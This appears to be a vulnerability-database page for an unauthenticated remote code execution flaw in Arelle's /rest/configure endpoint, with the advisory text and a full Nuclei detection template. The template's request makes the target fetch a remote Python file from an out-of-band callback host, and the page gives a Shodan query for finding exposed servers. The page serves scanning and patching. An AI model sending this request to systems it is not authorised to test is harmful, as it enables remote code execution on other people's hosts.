Browse / CVEs / CVE-2026-42796
CVE-2026-42796· arelle / arelle· CWE-306
Arelle < 2.39.10 - Remote Code Execution
Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.
Impact
Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the privileges of the Arelle webserver process, leading to full host compromise.
Fix
Upgrade to Arelle 2.39.10 or later, which rejects remote URL plug-in references over the webserver.
How to confirm it
Send: GET {{BaseURL}}/rest/configure?plugins=http://{{interactsh-url}}/{{randstr}}.py
Positive when: contains in interactsh_protocol "http" AND contains "Configuration Request" AND status 200Run it with nuclei: nuclei -id CVE-2026-42796 -u <target>
The full check
id: CVE-2026-42796
info:
name: Arelle < 2.39.10 - Remote Code Execution
author: aryu-ru
severity: critical
description: |
Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.
impact: |
Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the privileges of the Arelle webserver process, leading to full host compromise.
remediation: |
Upgrade to Arelle 2.39.10 or later, which rejects remote URL plug-in references over the webserver.
reference:
- https://www.vulncheck.com/advisories/arelle-unauthenticated-rce-via-rest-configure
- https://github.com/Arelle/Arelle/pull/2320
- https://github.com/Arelle/Arelle/releases/tag/2.39.10
- https://nvd.nist.gov/vuln/detail/CVE-2026-42796
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-42796
epss-score: 0.02747
epss-percentile: 0.86315
cwe-id: CWE-306
metadata:
verified: true
max-request: 1
vendor: arelle
product: arelle
shodan-query: http.html:"Arelle Web Services"
tags: cve,cve2026,arelle,rce,oast,unauth,vkev
http:
- method: GET
path:
- "{{BaseURL}}/rest/configure?plugins=http://{{interactsh-url}}/{{randstr}}.py"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "Configuration Request"
- type: status
status:
- 200References
- https://www.vulncheck.com/advisories/arelle-unauthenticated-rce-via-rest-configure
- https://github.com/Arelle/Arelle/pull/2320
- https://github.com/Arelle/Arelle/releases/tag/2.39.10
- https://nvd.nist.gov/vuln/detail/CVE-2026-42796
Use this check only on systems you are authorised to test. Where the data comes from